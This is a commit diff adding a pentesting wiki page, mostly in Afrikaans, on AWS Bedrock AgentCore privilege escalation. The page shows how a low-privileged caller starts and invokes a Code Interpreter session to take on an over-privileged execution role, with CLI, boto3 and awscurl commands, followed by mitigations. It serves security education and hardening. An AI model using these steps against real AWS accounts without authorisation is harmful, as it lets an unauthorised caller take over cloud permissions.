Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

2026-03-12 21:22:57 -07:00 · 2026-02-12 19:52:55 +00:00
parent f735fc6d45
commit 3ca7b2991b
1 changed files with 113 additions and 0 deletions
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md
@@ -0,0 +1,113 @@
+# AWS - Bedrock PrivEsc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Amazon Bedrock AgentCore
+
+### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
+
+AgentCore Code Interpreter is 'n bestuurde uitvoeringsomgewing. **Custom Code Interpreters** kan gekonfigureer word met 'n **`executionRoleArn`** wat “permissions vir die code interpreter verskaf om toegang tot AWS services te kry”.
+
+As 'n **IAM-prinsipaal met laer regte** 'n Code Interpreter-sessie kan **start + invoke** wat gekonfigureer is met 'n **meer-geprivilegieerde execution role**, kan die caller effektief **pivot in die execution role se permissions** (laterale beweging / privilege escalation afhangend van die rol se omvang).
+
+> [!NOTE]
+> Dit is tipies 'n **miskonfigurasie / oormatige permissions**-kwessie (om wye permissions aan die interpreter execution role te gee en/of om breë invoke-toegang te verleen).
+> AWS waarsku uitdruklik om privilege escalation te vermy deur te verseker dat execution roles **gelyk of minder** privilegies het as identiteite wat toegelaat word om te invoke.
+
+#### Preconditions (common misconfiguration)
+
+- 'n **custom code interpreter** bestaan met 'n oor-geprivilegieerde **execution role** (bv: toegang tot sensitiewe S3/Secrets/SSM of IAM-admin-like capabilities).
+- 'n Gebruiker (developer/auditor/CI identity) het toestemming om:
+- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
+- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
+- (Optional) The user can also create interpreters: `bedrock-agentcore:CreateCodeInterpreter` (lets them create a new interpreter configured with an execution role, depending on org guardrails).
+
+#### Recon (identify custom interpreters and execution role usage)
+
+Lys interpreters (control-plane) en inspekteer hul konfigurasie:
+```bash
+aws bedrock-agentcore-control list-code-interpreters
+aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
+````
+> Die create-code-interpreter command ondersteun `--execution-role-arn` wat bepaal watter AWS-magtigings die interpreter sal hê.
+
+#### Stap 1 - Begin 'n sessie (dit gee 'n `sessionId` terug, nie 'n interaktiewe shell nie)
+```bash
+SESSION_ID=$(
+aws bedrock-agentcore start-code-interpreter-session \
+--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
+--name "arte-oussama" \
+--query sessionId \
+--output text
+)
+
+echo "SessionId: $SESSION_ID"
+```
+#### Stap 2 - Roep kode-uitvoering aan (Boto3 of signed HTTPS)
+
+Daar is **geen interaktiewe python shell** vanaf `start-code-interpreter-session` nie. Uitvoering gebeur via **InvokeCodeInterpreter**.
+
+**Opsie A - Boto3 voorbeeld (voer Python uit + verifieer identiteit):**
+```python
+import boto3
+
+client = boto3.client("bedrock-agentcore", region_name="<REGION>")
+
+# Execute python inside the Code Interpreter session
+resp = client.invoke_code_interpreter(
+codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
+sessionId="<SESSION_ID>",
+name="executeCode",
+arguments={
+"language": "python",
+"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
+}
+)
+
+# Response is streamed; print events for visibility
+for event in resp.get("stream", []):
+print(event)
+```
+As die interpreter gekonfigureer is met 'n execution role, sal die uitset van `sts:GetCallerIdentity()` daardie role se identiteit weerspieël (nie die low-priv caller nie), wat die pivot demonstreer.
+
+**Opsie B - Gesigneerde HTTPS-oproep (awscurl):**
+```bash
+awscurl -X POST \
+"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
+--service bedrock-agentcore \
+--region <Region> \
+-d '{
+"name": "executeCode",
+"arguments": {
+"language": "python",
+"code": "print(\"Hello from AgentCore\")"
+}
+}'
+```
+#### Impak
+
+* **Lateral movement** na watter AWS-toegang die interpreter execution role ook al het.
+* **Privilege escalation** as die interpreter execution role meer bevoegdhede het as die caller.
+* Moeiliker opsporing as CloudTrail data events vir interpreter invocations nie geaktiveer is nie (invocations mag dalk standaard nie aangeteken word nie, afhangend van konfigurasie).
+
+#### Mitigasies / Verharding
+
+* **Least privilege** op die interpreter `executionRoleArn` (behandel dit soos Lambda execution roles / CI roles).
+* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) en wie sessies kan begin.
+* Use **SCPs** om InvokeCodeInterpreter te weier behalwe vir goedgekeurde agent runtime roles (org-level enforcement kan nodig wees).
+* Skakel toepaslike **CloudTrail data events** vir AgentCore waar toepaslik in; waarsku oor onverwagte invocations en sessie-aanmaak.
+
+## References
+
+- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
+- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
+- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
+- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
+- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
+- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
+
+
+{{#include ../../../../banners/hacktricks-training.md}}